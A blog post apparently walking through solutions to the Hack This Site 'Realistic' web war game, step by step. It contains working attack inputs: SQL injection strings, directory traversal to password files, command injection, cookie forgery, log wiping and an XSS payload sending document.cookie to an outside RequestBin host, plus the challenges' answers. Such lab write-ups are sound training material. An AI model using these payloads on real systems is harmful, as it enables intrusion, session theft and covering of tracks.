Index

This is a sticky post. Below you can find links to all of my write-ups.

Return Oriented Programming Series

Web Exploitation

Binary Exploitation

Reverse Engineering

Capture the Flags

General Network Exploitation

Offensive Security Certified Professional (OSCP) Journey

Programs:

 

I will keep updating this post, adding more links as I add more write-ups.

Hack This Site Realistic Write-Up

What follows is a write-up of a web security war game, Hack This Site – Realistic.

Players are given a set of requests they must fulfill in order to beat every challenge. Doing so entails using a variety of offensive security tools, crafting up code, and learning throughout the process.

Players must have a good understanding of web vulnerabilities in order to successfully complete the challenges.

[*] Status: COMPLETED
[*] Note:
I am currently updating this blog post to include screenshots.

 

Uncle Arnold’s Local Band Review

Goal:

screenshot

Solution:

Voting for “Raging Inferno”:
Open Burp Suite’s Proxy with Intercept On
Set the Ranging Inferno’s vote count to 5, and click on “vote!”

screenshot 2

Manipulating the votes to have “Raging Inferno” come out on top:
In the intercepted request, change the vote count to an incredibly high number.
Forward

screenshot 3

Success:

screenshot 4

Technique used: Parameter manipulation

 

Chicago American Nazi Party

Goal:

screenshot

Solution:

Checking the source code:
Right-click -> View Page Source

screenshot 2

Notice the hidden “update.php” page.

Browsing to the newly discovered page:

screenshot 3

Bypassing authentication via SQL injection:
Enter username ” ‘ or 1=1– ” and click on “Submit Query”.

screenshot 4

Success:

screenshot 5

Technique used: SQL injection

 

Peace Poetry: HACKED

Goal:

screenshot

Solution:

Checking the source code:
Right-click -> View Page Source

screenshot 2

Notice that we can browse to the original website.

Browsing to the original website “oldindex.html”:

screenshot 3

Copying the source code:
Right-click -> View Page Source -> Ctrl-A -> Ctrl-C

Fixing the website:
Click on “Submit Poetry”
Set the name of the poem to: ../index.html
Paste the original source code in the “Poem” box and click on “add poem”.

screenshot 4

Success:

screenshot 5

Technique used: Directory traversal; remote code execution

 

Fischer’s Animal Products

Goal:

screenshot

Solution:

Testing for SQL injection:

screenshot 2

Result:

screenshot 3

Testing for SQL injection via the URL:
Click on “Alligator Accessories”
In the URL bar, add a space, and add the following: UNION ALL SELECT null, *, null, null FROM email;

Full URL: https://www.hackthissite.org/missions/realistic/4/products.php?category=2 UNION ALL SELECT null, *, null, null FROM email;

Result:

screenshot 4

What UNION does is join queries, and so the results of additional (malicious) queries are joined with the results of the original query. This allows for the extraction of data within columns of other tables.

Sending the email addresses to the client:
Copy the list of e-mails -> Go to your Hack This Site Profile -> Click on your username

screenshot 5

Success:

screenshot 6

Techniques Used: SQL injection using UNION

 

Damn Telemarketers!

Goal:

screenshot

Solution:

Check the “robots.txt” file:

screenshot 2

Browse to the “secret” directory:

screenshot 3

Click on “admin.bak.php”:

screenshot 4

Cracking the hash:
Browse to: https://crackstation.net/
Enter the hash and submit

screenshot 5

Password: 583bc

Visiting the “Database” page accessible by the main page:
Enter the password: 583bc

screenshot 6

Success:

screenshot 7

Techniques Used: Inspecting “robots.txt” file; hash cracking

 

ToxiCo Industrial Chemicals

Goal:

screenshot

Solution:

Search for “xecryption” via your favorite search engine:

screenshot 2

Proof of concept program: http://telmo.pt/xecryption/

Whether or not intended as the solution, it is important to recognize the value of searching for solutions instead of trying to reinvent the wheel. Of course, that is in terms of efficiency. For fun’s sake, do try indeed.

Results of decrypting the ciphertext via Telmo:

screenshot 3

Sending the decrypted message to ToxiCo_Watch:
Copy the decrypted message
Browse to: https://www.hackthissite.org/pages/messages/msys/send.php
Paste and send the message

screenshot 4

Success:

screenshot 5

Techniques Used: Use of Proof of Concept decryption script

 

What’s Right For America

Goal:

screenshot

Solution:

Checking the source code:
Right-click -> View Page Source

screenshot 2

Notice the directory structure. Browsing to images might reveal other directories.

Checking for other directories:
Browse to: https://www.hackthissite.org/missions/realistic/7/images/

screenshot 3

Bingo. Notice the admin directory.

Checking the admin directory:

screenshot 4

We are going to have to find the password somehow.

Searching for the password:
Back in the main page, click on “Patriotism”.
Notice the URL structure: showimages.php?file=patriot.txt

This may allow for directory traversal. All we have to do is access the correct password path.
We will try grabbing “htpasswd”, the file that Apache uses for authentication.

Grabbing the password:
Modify the URL: showimages.php?file=images/admin/.htpasswd
Right-click -> View Page Source

screenshot 5

screenshot 6

Cracking the password hash:
Copy and paste the password hash into a file, such as “htpasswd”
john htpasswd

screenshot 7

Username: administrator
Password: shadow

Logging into the administrator page:
Browse back to: https://www.hackthissite.org/missions/realistic/7/images/admin/

screenshot 8

Success:

screenshot 9

Techniques used: Directory traversal; hash cracking

 

United Banks Of America

Goal:

screenshot

Solution:

Searching for Gary Hunter’s username:
Click on “User Info”
Enter as user: ‘ or 1=1–

screenshot 2

screenshot 3

Jackpot. We have Gary’s credentials.

Register as a user:
Click on “Register”
Enter random credentials

screenshot 4

screenshot 5

Logging in as our newly created user:

screenshot 6

screenshot 7

Impersonating Gary:
Open Cookies Manager+
Search for “hackthissite” cookies
Edit the “accountUsername” cookie value and set it to: GaryWilliamHunter

screenshot 8

Transferring the money:
Set the user to send the money to as “dropCash” and the amount to: 10000000
Click on “Move Money To A Different Account”

screenshot 9

screenshot 10

Clearing the logs:
Log in again
Open Burp Suite’s Proxy with Intercept On
Click on “Clear Files In Personal Folder”
Change the “dir” parameter value to: logFiles
Forward

screenshot 11

Success:

screenshot 12

Techniques used: SQL injection; session hijacking; parameter manipulation; local file inclusion

 

CrappySoft Software

Goal:

screenshot

Solution:

Log in with the supplied credentials:

screenshot 2

Create a private RequestBin:
Browse to http://requestb.in and create a private RequestBin

screenshot 3

Perform Cross-Site Scripting (XSS) via private messages:
Click on “[Private Message]”
Send a XSS payload to the boss, m-crap (owner)

Payload:
<iframe frameborder=0 height=0 width=0 src=javascript:void(window.location=”http://requestb.in/1mep2ns1?c=&#8221; + document.cookie)</iframe>

screenshot 4

Result:

screenshot 5

The challenge assumed we wouldn’t be able to get the cookie back. However, the method shown above is valid.

Set the cookies to the admin values:
Open Cookies Manager+

screenshot 6

screenshot 7

screenshot 8

Transferring the money:
Click on “[Pay Salaries]”
Pay r-conner

screenshot 9

screenshot 10

Cleaning the logs:
Click on “[Mailing List]”
Right-click -> Inspect Element -> Change the ‘strFileName’ value to: ./files/logs/logs.txt
Click on “Subscribe!”

screenshot 11

Success:

screenshot 12

Techniques used: Cross-Site Scripting (XSS); local file inclusion

 

Holy Word High School

Goal:

screenshot

Solution:

Checking the source code:
Right-click -> View Page Source

screenshot 2

Notice the hidden “staff.php” page.

Logging in as Zach:
Click on “Student Access System”
Log in with the supplied credentials.

screenshot 3

Gaining teacher credentials:
Click on “Staff Listing”
Go back to the “staff.php” page
Log in as smiller:smiller

screenshot 5

screenshot 4

screenshot 6

We are going to have to bypass the crappy protection.

Bypassing the limitations:
Open User Agent Switcher -> Edit User Agents -> New -> New User Agent -> Add “holy_teacher” -> Ok
Open Cookies Manager+ -> Search for ‘admin’ -> Change Content to: 1
Refresh the page

screenshot 7

screenshot 8

screenshot 9

Changing Zach’s grades:
Click on “Change Grades”
Click on “Zach Sanchez”
Right-click -> View Page Source Code
Browse to: https://www.hackthissite.org/missions/realistic/10/staff.php?action=changegrades&changeaction=modrec&rec=4&studentid=1&grade=5
Browse to: https://www.hackthissite.org/missions/realistic/10/staff.php?action=changegrades&changeaction=modrec&rec=0&studentid=1&grade=5
Browse to: https://www.hackthissite.org/missions/realistic/10/staff.php?action=changegrades&changeaction=modrec&rec=3&studentid=1&grade=5

screenshot 10

screenshot 11

The modifications were possible due to the URL parameter inclusion and the HTTP POST method being utilized.

Success:

screenshot 12

Techniques used: User-Agent manipulation; Parameter manipulation; HTTP POST request abuse

 

BudgetServ Web Hosting

Goal:

screenshot

Solution:

Inspecting the website functionality:
Click on “WebMail”
Notice the URL structure: https://www.hackthissite.org/missions/realistic/11/page.pl?page=email

Testing for directory traversal or command injection:
In the URL: https://www.hackthissite.org/missions/realistic/11/page.pl?page=stuff

screenshot 2

We may be able to get a listing of all directories.

Listing all directories:
In the URL: https://www.hackthissite.org/missions/realistic/11/page.pl?page=|ls|

screenshot 3

Browsing to the “client_http_docs” directory:

screenshot 4

Browsing to “therightwayradio” and inspecting the source code:

screenshot 5

Manipulating user information:
Browse to: https://www.hackthissite.org/missions/realistic/11/client_http_docs/therightwayradio/?page=userinfo
Notice there’s a user whose information we can change
Change the password to: coconuts
Click on “edit account”

screenshot 6

screenshot 7

Log in as “aclu_bomber_08290”:

screenshot 8

screenshot 9

Changing SQL databases:
Click on “mod”
Right-click on the input field and select “Inspect Element”
Change the “sql_db” value from “rwr.dbase” to: ../../../bs.dbase

screenshot 10

Extract database information:
SELECT * FROM sqlite_master -> sql query

screenshot 11

Extract admin credentials:
SELECT * FROM web_hosting -> sql query

screenshot 12

Navigate to the admin page in WebServ and enter the credentials:
URL: https://www.hackthissite.org/missions/realistic/11/admin/

screenshot 13

screenshot 14

Checking the source code:
Right-click -> View Page Source

screenshot 15

Downloading the desired file:
URL: https://www.hackthissite.org/missions/realistic/11/admin/d.pl?file=/var/www/budgetserv/html/client_http_docs/space46/src.tar.gz

Success:

screenshot 16

Techniques used: Command injection; directory traversal

 

Heartland School District

Goal:

screenshot

Solution:

Learning more about Windows 95:
Search for: windows 95 server path

screenshot 2

This result leads us to believe we can specify whether we’re accessing a web page (via the http prefix) or a local file.

Mapping the drive:
In the address bar: file:\\C:\\
Go

screenshot 3

screenshot 4

Success. We can access local files via the address box.

Accessing web resources:
In the address bar: file:\\C:\\WEB\
Go

screenshot 7

Investigating HTML files:
In the address bar: file:\\C:\\WEB\HTML
Go

screenshot 5

screenshot 6

Notice the admin panel. Let us visit it and try to break in.

Exploring the admin panel:

screenshot 8

We are going to have to find the password somehow.

Finding a way to get the admin password:
Back in the main page, click on “Student Work”
Click on “Joey Simons”

screenshot 9

Notice there’s some additional functionality in this page, via “Sign my guestook”.

Discovering another way to access files:
Click on “Sign my guestook”.
Right-click on the input box -> Inspect Element

screenshot 10

Notice the new “guest.pl” file which has “write” permissions. If it has Write permissions, it very likely also has Read permissions. This may be a way to grab the admin’s password.

Grabbing the admin’s password:
Browse to: https://www.hackthissite.org/missions/realistic/12/cgi-bin/guest.pl?action=read&file=heartlandadminpanel.pl
Right-click -> View Page Source

screenshot 11

Score.

Username: jbardus
Password: heartlandnetworkadministrator

Logging in as JBardus:

screenshot 12

screenshot 13

Completing the mission:
Click on “clear all”

Success:

screenshot 14

Techniques used: Directory traversal; local file inclusion

 

Elbonian Republican Party

Goal:

screenshot

Solution:

Understanding the website:
Click on “Press Releases”
Right-click -> View Page Source
Click on “readpress.php”

screenshot 2

screenshot 3

From the “readpress.php” we discover many facts:
1) The machine runs MySQL
2) The service is Apache
3) The machine runs Windows
4) We can access hidden data by obtaining the hex digest of the string “Speeches”

Obtaining the hex digest of “Speeches”:
python -c ‘import hashlib; print hashlib.md5(“Speeches”).hexdigest()’

screenshot 4

Hex digest: 7e40c181f9221f9c613adf8bb8136ea8

Accessing restricted data:
Browse to: https://www.hackthissite.org/missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8/

screenshot 5

Obtaining the password:
Click on “passwords.fip”
Browse to: https://crackstation.net/
Enter the hashes, one per line

screenshot 6

User: moni1
Pass: admin

Accessing the admin panel:
Browse to: https://www.hackthissite.org/missions/realistic/13/admin/
Enter the credentials found earlier

screenshot 7

screenshot 8

Strange. However, remember how the paths were hashed. Let’s try accessing the admin page again, but with a hash instead.

Browse to: https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/
Enter the cracked credentials

screenshot 9

Success:

screenshot 10

Techniques used: Source code review; directory traversal; hash/password cracking

 

Yuppers Internet Solutions

Goal:

screenshot

Solution:

Checking the source code:
Click on “News”
Right-click -> View Page Source

screenshot 2

Notice the URL structure. We may be able to manipulate the database via the URL.

Testing for SQL injection:
In the URL: https://www.hackthissite.org/missions/realistic/14/news.cgi?news=&#8217;

screenshot 3

Notice that the search works by using our query and appending “.news” to it.
We can try bypassing this concatenation by using null bytes (%00).

Further testing the SQL injection theory:
In the URL: https://www.hackthissite.org/missions/realistic/14/news.cgi?story=.%00

screenshot 4

Success. The website is vulnerable to SQL injections.
Notice the “moderator.cgi” file, which seems particularly interesting.

Checking the “moderator.cgi” file:
In the URL: https://www.hackthissite.org/missions/realistic/14/news.cgi?story=moderator.cgi%00

screenshot 6

If we have the program believe that we are admin by providing the “isadmin” parameter, we can bypass security measures.

Browsing to the “moderator.cgi” file and providing “isadmin”:

screenshot 5

screenshot 7

Great success.

Getting a list of users:
View Account Info: *

screenshot 8

screenshot 9

We now have the admin credentials, webguy:reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack
We can now attempt to log in as an admin.

Logging in as admin:
Browse to: https://www.hackthissite.org/missions/realistic/14/login
Enter the credentials found earlier

screenshot 10

screenshot 11

Completing the mission:
Click on “Administrator Panel”

screenshot 12

Techniques used: SQL injection using null bytes

 

seculas Ltd.

Goal:

screenshot

Solution:

Checking the source code:
Click on “News”
Right-click -> View Page Source

screenshot 2

Notice the admin information. This could be useful later.

Checking for vulnerabilities within the pages:
Click on “Jobs”
Click on “Send your application”
Click on “Send”
Right-click -> View Page Source

screenshot 3

Notice there’s a backup directory.

Browsing to the backups directory:
URL: https://www.hackthissite.org/missions/realistic/15/_backups_/

screenshot 4

Checking the “backup.zip” file:
Download the file
Open it

screenshot 5screenshot 6screenshot 7

Notice the files are password-protected.

Since the password cannot be found online, we can use PkCrack to crack the files.
PkCrack can help us break open the file via a “known plaintext attack”, which basically means we need to know part of the encrypted data in order to break the cipher.

Luckily for us, the ZIP file contains “index.htm”, which we have access to.

Using PkCrack and the “index.htm” file to break open the passowrd-protected ZIP file:
Browse to: https://www.hackthissite.org/missions/realistic/15/index.htm
Right-click -> Save Page As -> index.htm -> Web Page, HTML only
Compress the ‘index.htm’ using Winace
pkcrack -c “misc (files from different folders)/index.htm” -p index.htm -C backup.zip -P index.zip -d decracked.zip -*
Open the “decracked.zip” file -> Internal messages -> msgauth.php

screenshot 8screenshot 9

Take note of the variable names. These might be useful when bypassing authentication.

misc (files from different folders) -> shell.php

screenshot 10screenshot 11

Notice the variable names and the (unlimited) directory limit.

Creating an HTML file to log in as Susy:

screenshot 12

Logging in as Susy:
Double-click on the HTML file we just created.
Click on “send”

screenshot 13

screenshot 14

Browse to: https://www.hackthissite.org/missions/realistic/15/internal_messages/internal_messages.php
Enter Susy’s credentials and click on “read messages”

screenshot 15screenshot 16

Following the admin_area lead:
Browse to: https://www.hackthissite.org/missions/realistic/15/admin_area/

screenshot 17

Browse to: http://www.hackthissite.org/missions/realistic/15/admin_area/shell.php

screenshot 18

Click Ok

screenshot 19

Click “Cancel”

screenshot 20

Notice the hash.
Let’s try to crack it using CrackStation.

Cracking the hash:

screenshot 21

Password: foobar

Accessing the shell page:
Browse back to: http://www.hackthissite.org/missions/realistic/15/admin_area/shell.php
User Name: root
Password: foobar

screenshot 22

screenshot 23

Using the shell to list directory contents:
ls

screenshot 24

Voila. Notice the “viewpatents” files. These are what we want.

Following on the patent lead:
Browse to: https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents.php

screenshot 25

We get another login form. Time to look for the credentials.

Looking for the credentials to unlock patents:
Browse to: https://www.hackthissite.org/missions/realistic/15/admin_area/test/

screenshot 26

Excellent. Looks like we found the credentials.

Checking the “chkuserpass.c.zip” file:
Download the file and unzip it
Open the chkuserpass.c file

screenshot 27screenshot 28

Looks like we are going to perform a good ol’ buffer overflow to bypass authentication.
Notice that all we need to have in order to bypass authentication is “is_pass_correct” set to ‘Y’.

Performing a buffer overflow on the username field:
python -c ‘print “Y” * 230’
Copy the output and paste it in the username field
Click on “OK”

screenshot 29

Success:

screenshot 30

Techniques used: Known plaintext attack; hash cracking; buffer overflow

 

Simple Mail

Goal:

screenshot

Solution:

Checking the source code:
Click on “News”
Right-click -> View Page Source

screenshot 2

Notice the URL structure, and also the admin login page.

Accessing the admin login page:
Browse to: https://www.hackthissite.org/missions/realistic/16/index.php?module=admin_login

screenshot 3

Open Burp Suite’s Proxy with Intercept On
Click on “Login”

screenshot 4screenshot 5

Notice the requests to these two files. These might be useful in the future.
For now, we will register a new user to see what else we can do.

Register as a new user:
Browse over “Members” -> Click on “Register”

screenshot 6

Inspect member functionality:
Log in as the newly created user
Click on “User Panel” -> “Edit My Profile”
Right-click -> View Page Source
Click on “edit.php”

screenshot 7screenshot 8

Notice how the configurations are saved.
We are in control of the username parameter, which means we may be able to perform directory traversal by choosing a special username.

Creating a malicious user:
Click on “Members” -> “Logout”
Click on “Members” -> “Register”

screenshot 9

Carrying out the attack:
Log in as the newly created user
Click on “User Panel” -> “Edit My Profile”
Personal Message: auth_page=config.txt&authed=true&

screenshot 10

 

Confirming attack was successful:
Browse to: https://www.hackthissite.org/missions/realistic/16/config.txt

screenshot 11screenshot 12

Log in via the admin panel:
Browse to: https://www.hackthissite.org/missions/realistic/16/index.php?module=admin_login

screenshot 13screenshot 14

Reviewing Jenn’s email:

screenshot 15

screenshot 16

Right-clicking on the input field shows that this is a Flash application.
This means we could download it and reverse engineer it.

Downloading the Flash file:
Right-click -> View Page Source

screenshot 17

Analyzing the Flash file:
flasm -d check_email.swf

screenshot 18

We simply have to navigate to that path and add Jenn’s email at the end.

Checking Jenn’s emails:
Browse to: https://www.hackthissite.org/missions/realistic/16/check_email.php?auth=true&id=63a4bf12cd&email=jenn@simplemail.com

screenshot 19

Techniques used: Local file inclusion; directory traversal; client-side control bypass via Flash reverse engineering